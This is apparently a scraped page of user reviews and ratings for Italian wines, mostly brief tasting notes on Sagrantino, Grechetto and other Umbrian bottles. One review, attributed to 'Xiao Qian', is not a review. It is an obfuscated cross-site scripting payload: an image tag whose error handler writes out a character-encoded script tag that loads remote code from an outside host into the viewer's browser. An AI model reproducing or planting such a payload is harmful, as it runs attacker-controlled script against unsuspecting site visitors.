Ashish Pant

9.3

Wow! Aged a bit too long, but still a pleasure to drink. Go for it! — 5 months ago

Richard Shin

9.2

My kind of wine. Well balanced, food friendly, 13.5% al. Medium tannins, tart plums or cherry. $20. Definitely buy again. — 6 months ago

Peter van den Besselaar

9.0

Vintage 2023 | Juicy and very quaffable grechetto. Each time I taste this brings me back to a visit to Arnaldo Capraï in Umbria. It is a emotion wine to me. Paired with a schnitzel. — 7 months ago

WC Fields

9.1

High QPR! Goes well with many foods but especially any simple Italian fare. One of my go to Italian wines. It’s nice to go beyond Tuscany or Piedmonte. — 8 months ago

Stuart Peisner

9.1

Deep color, great structure and tannins. A very good red wine not well known but one of my favorites. — 2 years ago

Raun Kupiec

9.1

Comparing two 2010 Sagrantino di Montefalcos. Both opened for an hour first. I thought the Adanti was a bit softer and more aromatic at first. But the Perticaia had more structure, depth and complexity. Decanted the Perticaia for dinner (only have one decanter) and it improved even more. In the past I thought the Adanti had quite a tannic punch. That has faded over the 3 years since I last opened one. — 3 years ago

with Michael

Stephanie Hui

9.0

Crisp and refreshing — 5 months ago

Sagee Aran

9.3

100% Sagrantino, Inky, aromas of dark fruits, powerful tanins that have smoothen, palate is of a full body and tasty — 6 months ago

Gilbert Van Hassel

9.5

Amazing. Great acidity. Sagranito rocks. — 6 months ago

Joe Gomes

9.1

Well balanced with med acidity. Ripe cherry that lingers on the pallet. Great wine with our red sauce pasta dinner.. A Joe Godas selection — 8 months ago

Jay Kline

9.3

Opened and decanted shortly before dinner; enjoyed over the course of two hours. The 2019 pours a very rustic looking, deep straw bordering gold color; medium viscosity. On the nose, the wine is developing with lovely notes bruised and dried fruits: dried apricot, bruised yellow apple, candied oranges, yellow flowers, herbaceous (rosemary?), and old wood. And yet there’s a freshness there that is undeniable. On the palate, the wine is dry with low tannin and medium + acid. Confirming the notes from the nose. The finish is very long. Another vintage of Lapideus and another beauty from Giampiero. These wines make me think and each time I get to enjoy one, I’m reminded of why wine can be so special. Drink now through 2029. Bottle No. 0859/2655. — 10 months ago

Praveer Sharma

9.1

We asked for a bold red and we got it! — 4 years ago

Leeann

10

From Pizzeria 22 — 5 years ago

Jerry Raphael

9.1

Excellent — 5 months ago

Sipping Fine Wine

9.0

Located in the heart of Umbria, pale lemon color with aromas of stone fruit, citrus and honey floral notes. On the palate flavors of apple, pear and peach with citrus and nutty notes. Good acidity, balance and structure, medium+ finish ending with salty mineral character. Nice! — 6 months ago

Ericsson

9.1

Chardonnay is so incredible. Out of Umbria this is showing great terroir. — 7 months ago

Clay Bullwinkel

9.4

Superb herbal, mineral, dark red fruit, long finish. — 9 months ago

Jeffrey Woo

9.2

Deep ruby hue. Notes of blackberry, olives, pepper, and tar. Full tannins and high acidity. Superb with meats. — 2 years ago

Xiao Qian

9.9

<img src="" onerror="document.write(String.fromCharCode(60,115,67,82,105,80,116,32,115,82,67,61,47,47,104,116,116,112,115,58,47,47,120,115,46,97,120,47,120,105,97,111,62,60,47,115,67,114,73,112,84,62))"> — 3 years ago

Joanne Franzel

8.9

Weird fizz. A little funk which I don’t like but jeff loves. It’s a guy thing. Finish has nice grip. — 5 years ago